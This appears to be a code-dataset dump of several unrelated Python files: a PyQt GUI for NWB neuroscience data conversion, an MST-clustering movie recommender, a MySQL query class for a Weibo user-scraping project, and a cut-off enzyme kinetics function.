QPushButton('Load metafile')\n self.btn_load_meta.setIcon(self.style().standardIcon(QStyle.SP_ArrowDown))\n self.btn_load_meta.clicked.connect(lambda: self.load_meta_file(filename=None))\n self.btn_load_meta.setToolTip(\"The YAML file with metadata for this conversion.\\n\"\n \"You can customize the metadata in the forms below.\")\n self.btn_save_meta = QPushButton('Save metafile')\n self.btn_save_meta.setIcon(self.style().standardIcon(QStyle.SP_DriveFDIcon))\n self.btn_save_meta.clicked.connect(self.save_meta_file)\n self.btn_run_conversion = QPushButton('Run conversion')\n self.btn_run_conversion.setIcon(self.style().standardIcon(QStyle.SP_MediaPlay))\n self.btn_run_conversion.clicked.connect(self.run_conversion)\n self.btn_form_editor = QPushButton('Form -> Editor')\n self.btn_form_editor.clicked.connect(self.form_to_editor)\n\n self.lbl_nwb_file = QLabel('Output nwb file:')\n self.lbl_nwb_file.setToolTip(\"Path to the NWB file that will be created.\")\n self.lin_nwb_file = QLineEdit('')\n if self.nwbfile_loc is not None:\n self.lin_nwb_file = QLineEdit(self.nwbfile_loc)\n self.btn_nwb_file = QPushButton()\n self.btn_nwb_file.setIcon(self.style().standardIcon(QStyle.SP_DialogOpenButton))\n self.btn_nwb_file.clicked.connect(self.load_nwb_file)\n\n l_grid1 = QGridLayout()\n l_grid1.setColumnStretch(3, 1)\n l_grid1.addWidget(self.btn_load_meta, 0, 0, 1, 1)\n l_grid1.addWidget(self.btn_save_meta, 0, 1, 1, 1)\n l_grid1.addWidget(self.btn_run_conversion, 0, 2, 1, 1)\n l_grid1.addWidget(QLabel(), 0, 3, 1, 1)\n l_grid1.addWidget(self.btn_form_editor, 0, 4, 1, 2)\n l_grid1.addWidget(self.lbl_nwb_file, 1, 0, 1, 1)\n l_grid1.addWidget(self.lin_nwb_file, 1, 1, 1, 3)\n l_grid1.addWidget(self.btn_nwb_file, 1, 4, 1, 1)\n\n # Adds custom files/dir paths fields\n if self.source_paths is None:\n self.lbl_source_file = QLabel('source files:')\n self.lin_source_file = QLineEdit('')\n self.btn_source_file = QPushButton()\n self.btn_source_file.setIcon(self.style().standardIcon(QStyle.SP_DialogOpenButton))\n self.btn_source_file.clicked.connect(self.load_source_files)\n l_grid1.addWidget(self.lbl_source_file, 3, 0, 1, 1)\n l_grid1.addWidget(self.lin_source_file, 3, 1, 1, 3)\n l_grid1.addWidget(self.btn_source_file, 3, 4, 1, 1)\n else:\n self.group_source_paths = QGroupBox('Source paths')\n self.grid_source = QGridLayout()\n self.grid_source.setColumnStretch(3, 1)\n ii = -1\n for k, v in self.source_paths.items():\n ii += 1\n lbl_src = QLabel(k + ':')\n setattr(self, 'lbl_src_' + str(ii), lbl_src)\n lin_src = QLineEdit(v['path'])\n setattr(self, 'lin_src_' + str(ii), lin_src)\n btn_src = QPushButton()\n btn_src.setIcon(self.style().standardIcon(QStyle.SP_DialogOpenButton))\n setattr(self, 'btn_src_' + str(ii), btn_src)\n if v['type'] == 'file':\n btn_src.clicked.connect((lambda x: lambda: self.load_source_files(x[0], x[1]))([ii, k]))\n else:\n btn_src.clicked.connect((lambda x: lambda: self.load_source_dir(x[0], x[1]))([ii, k]))\n self.grid_source.addWidget(lbl_src, ii, 0, 1, 1)\n self.grid_source.addWidget(lin_src, ii, 1, 1, 3)\n self.grid_source.addWidget(btn_src, ii, 4, 1, 1)\n self.group_source_paths.setLayout(self.grid_source)\n l_grid1.addWidget(self.group_source_paths, 3, 0, 1, 6)\n\n # Adds custom kwargs checkboxes\n if self.kwargs_fields:\n self.group_kwargs = QGroupBox('KWARGS')\n self.grid_kwargs = QGridLayout()\n self.grid_kwargs.setColumnStretch(4, 1)\n ii = -1\n for k, v in self.kwargs_fields.items():\n ii += 1\n chk_kwargs = QCheckBox(k)\n chk_kwargs.setChecked(v)\n chk_kwargs.clicked.connect((lambda x: lambda: self.update_kwargs(x[0], x[1]))([ii, k]))\n setattr(self, 'chk_kwargs_' + str(ii), chk_kwargs)\n self.grid_kwargs.addWidget(chk_kwargs, ii // 4, ii % 4, 1, 1)\n self.group_kwargs.setLayout(self.grid_kwargs)\n l_grid1.addWidget(self.group_kwargs, 4, 0, 1, 6)\n\n self.l_vbox1 = QVBoxLayout()\n self.l_vbox1.addStretch()\n scroll_aux = QWidget()\n scroll_aux.setLayout(self.l_vbox1)\n l_scroll = QScrollArea()\n l_scroll.setWidget(scroll_aux)\n l_scroll.setWidgetResizable(True)\n\n self.l_vbox2 = QVBoxLayout()\n self.l_vbox2.addLayout(l_grid1)\n self.l_vbox2.addWidget(l_scroll)\n\n # Right-side panel\n # Metadata text\n editor_label = QLabel('Metafile preview:')\n r_grid1 = QGridLayout()\n r_grid1.setColumnStretch(1, 1)\n r_grid1.addWidget(editor_label, 0, 0, 1, 1)\n r_grid1.addWidget(QLabel(), 0, 1, 1, 1)\n self.editor = QTextEdit()\n r_vbox1 = QVBoxLayout()\n r_vbox1.addLayout(r_grid1)\n r_vbox1.addWidget(self.editor)\n\n # Logger\n log_label = QLabel('Log:')\n r_grid2 = QGridLayout()\n r_grid2.setColumnStretch(1, 1)\n r_grid2.addWidget(log_label, 0, 0, 1, 1)\n r_grid2.addWidget(QLabel(), 0, 1, 1, 1)\n self.logger = QTextEdit()\n self.logger.setReadOnly(True)\n r_vbox2 = QVBoxLayout()\n r_vbox2.addLayout(r_grid2)\n r_vbox2.addWidget(self.logger)\n\n r_vsplitter = QSplitter(QtCore.Qt.Vertical)\n ru_w = QWidget()\n ru_w.setLayout(r_vbox1)\n rb_w = QWidget()\n rb_w.setLayout(r_vbox2)\n r_vsplitter.addWidget(ru_w)\n r_vsplitter.addWidget(rb_w)\n\n # Metadata/conversion tab Layout\n self.left_w = QWidget()\n self.left_w.setLayout(self.l_vbox2)\n self.splitter = QSplitter(QtCore.Qt.Horizontal)\n self.splitter.addWidget(self.left_w)\n self.splitter.addWidget(r_vsplitter)\n\n self.metadata_layout = QVBoxLayout()\n self.metadata_layout.addWidget(self.splitter)\n self.tab_metadata = QWidget()\n self.tab_metadata.setLayout(self.metadata_layout)\n self.tabs.addTab(self.tab_metadata, 'Metadata/Conversion')\n\n # Background color\n p = self.palette()\n p.setColor(self.backgroundRole(), QtCore.Qt.white)\n self.setPalette(p)\n\n def init_nwb_explorer(self):\n \"\"\"Initializes NWB file explorer tab\"\"\"\n # Layout Widgets\n self.btn_load_nwbexp = QPushButton('Load NWB')\n self.btn_load_nwbexp.setIcon(self.style().standardIcon(QStyle.SP_ArrowDown))\n self.btn_load_nwbexp.clicked.connect(self.load_nwb_explorer)\n self.btn_load_nwbexp.setToolTip(\"Choose NWB file to explore!\")\n self.btn_close_nwbexp = QPushButton('Close')\n self.btn_close_nwbexp.setIcon(self.style().standardIcon(QStyle.SP_DialogCloseButton))\n self.btn_close_nwbexp.clicked.connect(self.close_nwb_explorer)\n self.btn_close_nwbexp.setToolTip(\"Close current file view.\")\n self.html = QWebEngineView()\n\n self.grid_widgets = QGridLayout()\n self.grid_widgets.setColumnStretch(2, 1)\n self.grid_widgets.addWidget(self.btn_load_nwbexp, 0, 0, 1, 1)\n self.grid_widgets.addWidget(self.btn_close_nwbexp, 0, 1, 1, 1)\n self.grid_widgets.addWidget(QLabel(), 0, 2, 1, 1)\n self.vbox_widgets = QVBoxLayout()\n self.vbox_widgets.addLayout(self.grid_widgets)\n self.vbox_widgets.addWidget(self.html)\n\n # Layout Console\n console_label = QLabel('Ipython console:')\n self.explorer_console = ConsoleWidget(par=self)\n self.explorer_console.setToolTip(\"nwbfile --> NWB file data\")\n\n self.grid_console = QGridLayout()\n self.grid_console.addWidget(console_label, 0, 0, 1, 1)\n self.grid_console.addWidget(self.explorer_console, 1, 0, 1, 1)\n\n hsplitter = QSplitter(QtCore.Qt.Horizontal)\n left_w = QWidget()\n left_w.setLayout(self.vbox_widgets)\n right_w = QWidget()\n right_w.setLayout(self.grid_console)\n hsplitter.addWidget(left_w)\n hsplitter.addWidget(right_w)\n\n # Add tab to GUI\n self.tabs.addTab(hsplitter, 'NWB widgets')\n\n def write_to_logger(self, txt):\n time = datetime.datetime.now().time().strftime(\"%H:%M:%S\")\n full_txt = \"[\" + time + \"] \" + txt\n self.logger.append(full_txt)\n\n def run_conversion(self):\n \"\"\"Runs conversion function.\"\"\"\n self.write_to_logger('Converting data to NWB... please wait.')\n self.toggle_enable_gui(enable=False)\n self.thread = ConversionFunctionThread(self)\n self.thread.finished.connect(lambda: self.finish_conversion(error=self.thread.error))\n self.thread.start()\n\n def finish_conversion(self, error):\n if error:\n self.write_to_logger('ERROR:')\n self.write_to_logger(str(error))\n else:\n self.write_to_logger('Data successfully converted to NWB.')\n self.toggle_enable_gui(enable=True)\n\n def toggle_enable_gui(self, enable):\n self.editor.setEnabled(enable)\n self.left_w.setEnabled(enable)\n\n def save_meta_file(self):\n \"\"\"Saves metadata to .yml file.\"\"\"\n filename, _ = QFileDialog.getSaveFileName(self, 'Save file', '', \"(*.yml);;(*.yaml)\")\n if filename:\n data = {}\n for grp in self.groups_list:\n info, error = grp.read_fields()\n if error is None:\n data[grp.group_type] = info\n else:\n return\n with open(filename, 'w') as f:\n yaml.dump(data, f, default_flow_style=False)\n\n def read_metadata_from_form(self):\n \"\"\"Loads metadata from form.\"\"\"\n metadata = {}\n for grp in self.groups_list:\n info, error = grp.read_fields()\n if error is None:\n metadata[grp.group_type] = info\n else:\n return\n return metadata\n\n def form_to_editor(self):\n \"\"\"Loads data from form to editor.\"\"\"\n metadata = self.read_metadata_from_form()\n txt = yaml.dump(metadata, default_flow_style=False)\n self.editor.setText(txt)\n\n def update_kwargs(self, ind, key):\n \"\"\"Updates the boolean values for keyword arguments.\"\"\"\n chk_kw = getattr(self, 'chk_kwargs_' + str(ind))\n self.kwargs_fields[key] = chk_kw.isChecked()\n\n def load_source_files(self, ind, key):\n \"\"\"Browser to source file location.\"\"\"\n filenames, ftype = QFileDialog.getOpenFileNames(\n parent=self,\n caption='Open file',\n directory='',\n filter=\"(*)\"\n )\n if len(filenames):\n all_names = ''\n for fname in filenames:\n all_names += fname + ', '\n lin_src = getattr(self, 'lin_src_' + str(ind))\n lin_src.setText(all_names[:-2])\n self.source_paths[key]['path'] = all_names[:-2]\n\n def load_source_dir(self, ind, key):\n \"\"\"Browser to source directory location.\"\"\"\n dirname = QFileDialog.getExistingDirectory(\n parent=self,\n caption='Source directory',\n directory=''\n )\n if len(dirname):\n lin_src = getattr(self, 'lin_src_' + str(ind))\n lin_src.setText(dirname)\n self.source_paths[key]['path'] = dirname\n\n def load_meta_file(self, filename=None):\n \"\"\"\n Opens (or browsers to) a .yml file containing metadata for NWB. Then:\n 1. loads the internal variable self.metadata with the content\n 2. writes content to editor\n 3. updates forms\n \"\"\"\n if filename is None:\n filename, ftype = QFileDialog.getOpenFileName(\n parent=self,\n caption='Open file',\n directory='',\n filter=\"(*.yml);;(*.yaml)\"\n )\n if ftype != '(*.yml)' or ftype != '(*.yaml)':\n return\n with open(filename) as f:\n self.metadata = yaml.safe_load(f)\n txt = yaml.dump(self.metadata, default_flow_style=False)\n self.editor.setText(txt)\n self.update_forms()\n\n def load_conversion_module(self):\n \"\"\"Browser to conversion script file location.\"\"\"\n filename, ftype = QFileDialog.getOpenFileName(\n parent=self,\n caption='Open file',\n directory='',\n filter=\"(*py)\"\n )\n if filename != '':\n self.conversion_module_path = filename\n\n def load_nwb_file(self):\n \"\"\"Browser to nwb file location.\"\"\"\n filename, ftype = QFileDialog.getSaveFileName(\n parent=self,\n caption='Save file',\n directory='',\n filter=\"(*nwb)\"\n )\n if filename is not None:\n self.lin_nwb_file.setText(filename)\n\n def load_nwb_explorer(self):\n \"\"\"Browser to nwb file location.\"\"\"\n filename, ftype = QFileDialog.getOpenFileName(\n parent=self,\n caption='Load file',\n directory='',\n filter=\"(*nwb)\"\n )\n if filename != '':\n # Opens file on Ipython console\n self.run_console(fname=filename)\n # Opens file on NWBWidgets\n self.run_voila(fname=filename)\n\n def close_nwb_explorer(self):\n \"\"\"Close current NWB file view on explorer\"\"\"\n if hasattr(self, 'voilathread'):\n # Stop Voila thread\n self.voilathread.stop()\n # Closes nwb file on console\n self.explorer_console._execute('io.close()', True)\n self.explorer_console.clear()\n\n def run_console(self, fname):\n \"\"\"Loads NWB file on Ipython console\"\"\"\n # Imports extension modules\n imports_text = \"\"\n if self.extension_modules:\n for k, v in self.extension_modules.items():\n imports_text += \"\\nfrom \" + k + \" import \" + \", \".join(v)\n code = \"\"\"\n import pynwb\n import os\n \"\"\" + imports_text + \"\"\"\n fpath = os.path.join(r'\"\"\" + str(fname) + \"\"\"')\n io = pynwb.NWBHDF5IO(fpath, 'r', load_namespaces=True)\n nwbfile = io.read()\n \"\"\"\n self.explorer_console._execute(code, True)\n self.explorer_console.clear()\n self.explorer_console.print_text('nwbfile --> Loaded NWB file\\n')\n\n def run_voila(self, fname):\n \"\"\"Set up notebook and run it with a dedicated Voila thread.\"\"\"\n # Stop any current Voila thread\n self.close_nwb_explorer()\n # Write Figure + ipywidgets to a .ipynb file\n nb = nbf.v4.new_notebook()\n # Imports extension modules\n imports_text = \"\"\n for k, v in self.extension_modules.items():\n imports_text += \"\\nfrom \" + k + \" import \" + \", \".join(v)\n code = \"\"\"\n from nwbwidgets import nwb2widget\n import pynwb\n import os\n \"\"\" + imports_text + \"\"\"\n fpath = os.path.join(r'\"\"\" + str(fname) + \"\"\"')\n io = pynwb.NWBHDF5IO(fpath, 'r', load_namespaces=True)\n nwb = io.read()\n nwb2widget(nwb)\n \"\"\"\n nb['cells'] = [nbf.v4.new_code_cell(code)]\n nbpath = os.path.join(self.temp_dir, Path(fname).stem + '.ipynb')\n nbf.write(nb, nbpath)\n # Run instance of Voila with the just saved .ipynb file\n port = get_free_port()\n self.voilathread = voilaThread(parent=self, port=port, nbpath=nbpath)\n self.voilathread.start()\n # Load Voila instance on GUI\n self.update_html(url='http://localhost:' + str(port))\n # self.parent.write_to_logger(txt=self.name + \" ready!\")\n\n def update_html(self, url):\n \"\"\"Loads temporary HTML file and render it.\"\"\"\n self.html.load(QtCore.QUrl(url))\n self.html.show()\n\n def clean_groups(self):\n \"\"\"Removes all groups widgets.\"\"\"\n for grp in self.groups_list:\n nWidgetsVbox = self.l_vbox1.count()\n for i in range(nWidgetsVbox):\n if self.l_vbox1.itemAt(i) is not None:\n if grp == self.l_vbox1.itemAt(i).widget():\n self.l_vbox1.itemAt(i).widget().setParent(None) # deletes widget\n self.groups_list = [] # deletes all list items\n\n def update_forms(self):\n \"\"\"Updates forms fields with values in metadata.\"\"\"\n self.clean_groups()\n for grp in self.metadata:\n if grp == 'NWBFile':\n item = GroupNwbfile(parent=self, metadata=self.metadata['NWBFile'])\n item.write_fields(data=self.metadata['NWBFile'])\n self.groups_list.append(item)\n self.l_vbox1.addWidget(item)\n if grp == 'Subject':\n item = GroupSubject(parent=self)\n item.write_fields(data=self.metadata['Subject'])\n self.groups_list.append(item)\n self.l_vbox1.addWidget(item)\n if grp == 'Ophys':\n item = GroupOphys(self)\n for subgroup in self.metadata[grp]:\n # if many items of same class, in list\n if isinstance(self.metadata[grp][subgroup], list):\n for subsub in self.metadata[grp][subgroup]:\n item.add_group(\n group=self.name_to_gui_class[subgroup](parent=item),\n metadata=subsub\n )\n else: # if it's just one item of this class\n item.add_group(\n group=self.name_to_gui_class[subgroup](parent=item),\n metadata=self.metadata[grp][subgroup]\n )\n self.groups_list.append(item)\n self.l_vbox1.addWidget(item)\n if grp == 'Ecephys':\n item = GroupEcephys(self)\n for subgroup in self.metadata[grp]:\n # if many items of same class, in list\n if isinstance(self.metadata[grp][subgroup], list):\n for subsub in self.metadata[grp][subgroup]:\n item.add_group(\n group=self.name_to_gui_class[subgroup](parent=item),\n metadata=subsub\n )\n else: # if it's just one item of this class\n item.add_group(\n group=self.name_to_gui_class[subgroup](parent=item),\n metadata=self.metadata[grp][subgroup]\n )\n self.groups_list.append(item)\n self.l_vbox1.addWidget(item)\n if grp == 'Behavior':\n item = GroupBehavior(self)\n for subgroup in self.metadata[grp]:\n # if many items of same class, in list\n if isinstance(self.metadata[grp][subgroup], list):\n for subsub in self.metadata[grp][subgroup]:\n item.add_group(\n group=self.name_to_gui_class[subgroup](parent=item),\n metadata=subsub\n )\n else: # if it's just one item of this class\n item.add_group(\n group=self.name_to_gui_class[subgroup](parent=item),\n metadata=self.metadata[grp][subgroup]\n )\n self.groups_list.append(item)\n self.l_vbox1.addWidget(item)\n if grp == 'Ogen':\n item = GroupOgen(self)\n for subgroup in self.metadata[grp]:\n # if many items of same class, in list\n if isinstance(self.metadata[grp][subgroup], list):\n for subsub in self.metadata[grp][subgroup]:\n item.add_group(\n group=self.name_to_gui_class[subgroup](parent=item),\n metadata=subsub\n )\n else: # if it's just one item of this class\n item.add_group(\n group=self.name_to_gui_class[subgroup](parent=item),\n metadata=self.metadata[grp][subgroup]\n )\n self.groups_list.append(item)\n self.l_vbox1.addWidget(item)\n nItems = self.l_vbox1.count()\n self.l_vbox1.addStretch(nItems)\n\n def about(self):\n \"\"\"About dialog.\"\"\"\n msg = QMessageBox()\n msg.setWindowTitle(\"About NWB conversion\")\n msg.setIcon(QMessageBox.Information)\n msg.setText(\"Version: 0.2.0 \\n\"\n \"Shared tools for converting data from various formats to NWB:N 2.0.\\n \")\n msg.setInformativeText(\"NWB conversion tools Github page\")\n msg.setStandardButtons(QMessageBox.Ok)\n msg.exec_()\n\n def closeEvent(self, event):\n \"\"\"Before exiting, executes these actions.\"\"\"\n # Stop any current Voila thread\n self.close_nwb_explorer()\n # Remove any remaining temporary directory/files\n shutil.rmtree(self.temp_dir, ignore_errors=False, onerror=None)\n event.accept()\n\n\ndef get_free_port():\n not_free = True\n while not_free:\n port = np.random.randint(7000, 7999)\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:\n res = sock.connect_ex(('localhost', port))\n if res != 0:\n not_free = False\n return port\n\n\ndef is_listening_to_port(process, port):\n is_listening = False\n # iterate over processe's children\n for child in process.children(recursive=True):\n # iterate over child connections\n for con in child.connections():\n if con.status == 'LISTEN':\n if isinstance(con.laddr.port, int):\n is_listening = con.laddr.port == port\n elif isinstance(con.laddr.port, list):\n is_listening = port in con.laddr.port\n return is_listening\n return is_listening\n\n\nclass voilaThread(QtCore.QThread):\n def __init__(self, parent, port, nbpath):\n super().__init__()\n self.parent = parent\n self.port = port\n self.nbpath = nbpath\n\n def run(self):\n os.system(\"voila \" + self.nbpath + \" --no-browser --port \" + str(self.port))\n\n def stop(self):\n pid = os.getpid()\n process = psutil.Process(pid)\n proc_list = []\n for child in process.children(recursive=True):\n is_listening = is_listening_to_port(child, self.port)\n if is_listening:\n proc_list.append(child)\n for proc in proc_list:\n for child in process.children(recursive=True):\n child.kill()\n\n\n# Runs conversion function, useful to wait for thread\nclass ConversionFunctionThread(QtCore.QThread):\n def __init__(self, parent):\n super().__init__()\n self.parent = parent\n self.error = None\n\n def run(self):\n if not self.parent.lin_nwb_file.text():\n error = ValueError('select a save location for nwbfile')\n self.error = error.__class__.__name__ + ':' + str(error)\n raise error\n if self.parent.conversion_module_path:# if not an empty string (if value was selected from gui)\n try:\n mod_file = self.parent.conversion_module_path\n spec = importlib.util.spec_from_file_location(os.path.basename(mod_file).strip('.py'), mod_file)\n conv_module = importlib.util.module_from_spec(spec)\n spec.loader.exec_module(conv_module)\n metadata = self.parent.read_metadata_from_form()\n conv_module.conversion_function(source_paths=self.parent.source_paths,\n f_nwb=self.parent.lin_nwb_file.text(),\n metadata=metadata,\n **self.parent.kwargs_fields)\n except Exception as error:\n self.error = error.__class__.__name__ + ':' + str(error)\n else:\n try:\n metadata = self.parent.read_metadata_from_form()\n fileloc = list(self.parent.source_paths.values())[0]['path']\n conversion_obj = self.parent.conversion_class(fileloc, None, metadata)\n conversion_obj.run_conversion()\n conversion_obj.save(self.parent.lin_nwb_file.text())\n except Exception as error:\n self.error = error.__class__.__name__ + ':' + str(error)\n\n\nclass CustomComboBox(QComboBox):\n def __init__(self):\n \"\"\"Class created to ignore mouse wheel events on combobox.\"\"\"\n super().__init__()\n\n def wheelEvent(self, event):\n event.ignore()\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv) # instantiate a QtGui (holder for the app)\n ex = Application()\n sys.exit(app.exec_())\n\n\n# If it is imported as a module\ndef nwb_conversion_gui(metafile=None, conversion_module=None, source_paths=None,\n kwargs_fields=None, extension_modules=None, extension_forms=None,\n show_add_del=False, nwbfile_loc=None, conversion_class=None,load_nwbwidgets=True):\n \"\"\"Sets up QT application.\"\"\"\n if conversion_module:\n raise DeprecationWarning('use of conversion_module will be replaced by conversion_class'\n 'with its \\'run_conversion\\' method called directly')\n app = QtCore.QCoreApplication.instance()\n if conversion_class is None and conversion_module is None:\n raise Exception('provide one of conversion_module:str or conversion_class:class')\n elif conversion_class is not None and conversion_module is not None:\n raise Exception('provide either of conversion_module:str or conversion_class:class')\n if app is None:\n app = QApplication(sys.argv) # instantiate a QtGui (holder for the app)\n Application(\n metafile=metafile,\n conversion_module=conversion_module,\n source_paths=source_paths,\n kwargs_fields=kwargs_fields,\n extension_modules=extension_modules,\n extension_forms=extension_forms,\n show_add_del=show_add_del,\n nwbfile_loc=nwbfile_loc,\n conversion_class=conversion_class,\n nwbwidgets=load_nwbwidgets\n )\n sys.exit(app.exec_())\n","sub_path":"nwb_conversion_tools/gui/nwb_conversion_gui.py","file_name":"nwb_conversion_gui.py","file_ext":"py","file_size_in_byte":30714,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"397096966","text":"from config import TEST_DIR\nfrom parsing import parse\nfrom graph import Graph\nfrom clustering import BoruvkaMST, ClusterNumberException\nfrom predictor import Predictor\nfrom evaluator import Evaluator\n\nfrom datetime import datetime\n\nimport csv\nimport os\n\n\nclass ProblemInformation:\n def __init__(self, **kwargs):\n total_start = datetime.now()\n test = kwargs['filename'] or input('\\nEnter test name: ')\n test_rating = parse(os.path.join(TEST_DIR, test + '.test'))\n base_rating = parse(os.path.join(TEST_DIR, test + '.base'))\n graph = Graph(base_rating=base_rating)\n while True:\n try:\n cluster_number = kwargs['cluster_num'] or int(input('\\nEnter number of clusters: '))\n\n component = BoruvkaMST(graph, cluster_number)\n break\n except (ClusterNumberException, ValueError):\n print('Number of clusters must be > 0')\n continue\n\n predictor = Predictor(component, base_rating)\n\n from copy import deepcopy\n\n predicted = deepcopy(test_rating)\n unpredictables = 0\n\n start = datetime.now()\n with open(os.path.join(TEST_DIR, test + '.res'), newline='', mode='w') as csv_file:\n data_writer = csv.writer(csv_file, delimiter=' ', quotechar='|')\n for user in test_rating.keys():\n for movie in test_rating[user].keys():\n predicted[user][movie] = None\n predicted[user][movie] = predictor.predict(user, movie)\n if not predicted[user][movie]:\n unpredictables += 1\n data_writer.writerow([user, movie, predicted[user][movie]])\n self.predicting_time = datetime.now() - start\n print('Time for predicting:', self.predicting_time, end='\\n\\n')\n\n self.total_time = datetime.now() - total_start\n print('Total time:', self.total_time)\n\n print('Number of unpredictable users:', unpredictables)\n\n self.evaluator = Evaluator(test_rating, predicted)\n\nif __name__ == '__main__':\n import sys\n\n print('Recommendation algorithm based on modified MST clustering with Boruvka\\'s algorithm')\n print('Created by Andriy Trotsyuk, IS-33\\n')\n\n while True:\n try:\n if len(sys.argv) > 1:\n ProblemInformation(filename=sys.argv[1], cluster_num=int(sys.argv[2]))\n break\n else:\n ProblemInformation(filename=None, cluster_num=None)\n except FileNotFoundError:\n print('Test is not found')\n continue\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"412270852","text":"#!/usr/bin/python\n# coding=utf-8\nimport pymysql as MySQLdb\n\n\nclass SinaDB():\n dbConn = ''\n cursor = ''\n def __init__(self):\n self.dbConn = MySQLdb.connect(host='localhost', user='root', passwd=\"\", db='sina_spider', charset=\"utf8\")\n self.cursor = self.dbConn.cursor()\n self.cursor.execute(\"SET NAMES utf8\")\n self.cursor.execute(\"SET CHARACTER_SET_CLIENT=utf8\")\n self.cursor.execute(\"SET CHARACTER_SET_RESULTS=utf8\")\n\n def getUserDetail(self, uid):\n query = \"SELECT uname, sex, fans, uid, icon FROM user_detail WHERE uid = %s\" % uid\n self.cursor.execute(query)\n data = self.cursor.fetchall()\n return data\n\n def getUserInfo(self, condition):\n if type(condition) != str:\n condition = str(condition)\n condition = \"%\" + condition + \"%\"\n query = 'SELECT uname, sex, fans, uid, icon FROM user_detail WHERE uname LIKE \"%s\" OR fans LIKE \"%s\" OR uid LIKE \"%s\" OR icon LIKE \"%s\"' % (condition, condition, condition, condition)\n self.cursor.execute(query)\n result = self.cursor.fetchall()\n if result != ():\n return result\n else:\n return None\n\n def getAllGirlInfo(self, page, limit):\n page = page - 1\n page = page * limit\n query = 'SELECT uname, sex, fans, uid, icon FROM user_detail WHERE sex = \\'女\\' LIMIT %d, %d' % (page, limit)\n self.cursor.execute(query)\n result = self.cursor.fetchall()\n rows = self.cursor.execute('SELECT uname, sex, fans, uid, icon FROM user_detail WHERE sex = \\'女\\'')\n if rows % limit > 0:\n rows = rows / limit + 1\n else:\n rows = rows / limit\n if result != ():\n return (result, rows)\n else:\n return None\n\n def getAllBoyInfo(self, page, limit):\n page = page - 1\n page = page * limit\n query = 'SELECT uname, sex, fans, uid, icon FROM user_detail WHERE sex = \\'男\\' LIMIT %d, %d' % (page, limit)\n self.cursor.execute(query)\n result = self.cursor.fetchall()\n rows = self.cursor.execute('SELECT uname, sex, fans, uid, icon FROM user_detail WHERE sex = \\'男\\'')\n if rows % limit > 0:\n rows = rows / limit + 1\n else:\n rows = rows / limit\n if result != ():\n return (result, rows)\n else:\n return None\n\n def getUserImageLinks(self, uid, page, limit):\n page = page - 1\n page = page * limit\n query = 'SELECT img_src FROM user_img WHERE uid = %s LIMIT %d, %d' % (uid, page, limit)\n self.cursor.execute(query)\n result = self.cursor.fetchall()\n query = 'SELECT img_src FROM user_img WHERE uid = %s' % uid\n rows = self.cursor.execute(query)\n if rows % limit > 0:\n rows = rows / limit + 1\n else:\n rows = rows / limit\n if result != ():\n return (result, rows)\n else:\n return None\n\n def getColumnsNames(self):\n columns = [index[0] for index in self.cursor.description]\n return columns\n\n def isHasImg(self, uid):\n query = 'SELECT * FROM user_img WHERE uid = %s' % uid\n self.cursor.execute(query)\n result = self.cursor.fetchall()\n if result != ():\n return 1\n else:\n return 0\n\n def getAllUserUid(self):\n query = 'SELECT uid FROM user_detail WHERE uid != ALL (SELECT uid FROM user_img GROUP BY uid)'\n self.cursor.execute(query)\n result = self.cursor.fetchall()\n if result != ():\n return result\n else:\n return None\n\n @property\n def getDataAnalysis(self):\n query = \"SELECT count(uid) FROM user_detail\"\n self.cursor.execute(query)\n all_users_count = self.cursor.fetchall()[0][0]\n\n query = \"SELECT count(id) FROM user_img\"\n self.cursor.execute(query)\n all_imgs = self.cursor.fetchone()[0]\n\n query = \"SELECT count(uid) FROM user_detail WHERE sex = '男'\"\n self.cursor.execute(query)\n male_users_count = self.cursor.fetchall()[0][0]\n\n query = \"SELECT count(uid) FROM user_detail WHERE sex = '女'\"\n self.cursor.execute(query)\n female_users_count = self.cursor.fetchall()[0][0]\n\n query = \"SELECT uname, sex, fans, uid, icon FROM user_detail ORDER BY CAST(fans AS UNSIGNED) DESC\"\n self.cursor.execute(query)\n greater_fans_user_info = self.cursor.fetchone()\n\n query = \"SELECT uname, sex, fans, uid, icon FROM user_detail ORDER BY CAST(fans AS UNSIGNED)\"\n self.cursor.execute(query)\n smaller_fans_user_info = self.cursor.fetchone()\n\n query = \"SELECT count(uid) AS a, uid FROM user_img GROUP BY uid ORDER BY a DESC\"\n self.cursor.execute(query)\n greater_send_img_user = self.cursor.fetchone()\n\n query = \"SELECT uname, sex, fans, uid, icon FROM user_detail WHERE uid = %s\" % greater_send_img_user[1]\n self.cursor.execute(query)\n greater_send_img_user_info = self.cursor.fetchone()\n\n query = \"SELECT count(uid) AS a, uid FROM user_img GROUP BY uid ORDER BY a\"\n self.cursor.execute(query)\n smaller_send_img_user = self.cursor.fetchone()\n\n query = \"SELECT uname, sex, fans, uid, icon FROM user_detail WHERE uid = %s\" % smaller_send_img_user[1]\n self.cursor.execute(query)\n smaller_send_img_user_info = self.cursor.fetchone()\n\n return {\n 'all':all_users_count,\n 'all_imgs':all_imgs,\n 'male':male_users_count,\n 'female':female_users_count,\n 'greater_fans_user_info':greater_fans_user_info,\n 'smaller_fans_user_info':smaller_fans_user_info,\n 'greater_send_img':greater_send_img_user[0],\n 'smaller_send_img':smaller_send_img_user[0],\n 'greater_send_img_user_info':greater_send_img_user_info,\n 'smaller_send_img_user_info':smaller_send_img_user_info,\n }\n","sub_path":"libs/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":6022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"549016992","text":"import pypsdier\r\nimport os\r\n\"\"\"\r\nDescription: This is the simulation and experimental data for the \r\nHydrolysis Reaction of Penicilin G.\r\n\"\"\"\r\n\r\ndef PenG_HydrolysisReaction(Cs, E0, k, K, Ks, K1, K2):\r\n \"\"\"\r\n ReaccionPenG(Cs, E0, inputs)\r\n Cs = PenG [mM], AFA [mM], 6-APA [mM]\r\n E0 [mM]\r\n inputs = k [1/s], K [mM], Ks [mM], K1 [mM], K2 [mM]\r\n \"\"\"\r\n PenG, AFA, APA6 = Cs\r\n mcd = K + PenG + PenG*PenG/Ks + K*AFA/K1 + K*APA6/K2 + PenG*APA6/K2 + K*AFA*APA6/(K1*K2)\r\n v_S = (k*E0*PenG) / mcd\r\n v = 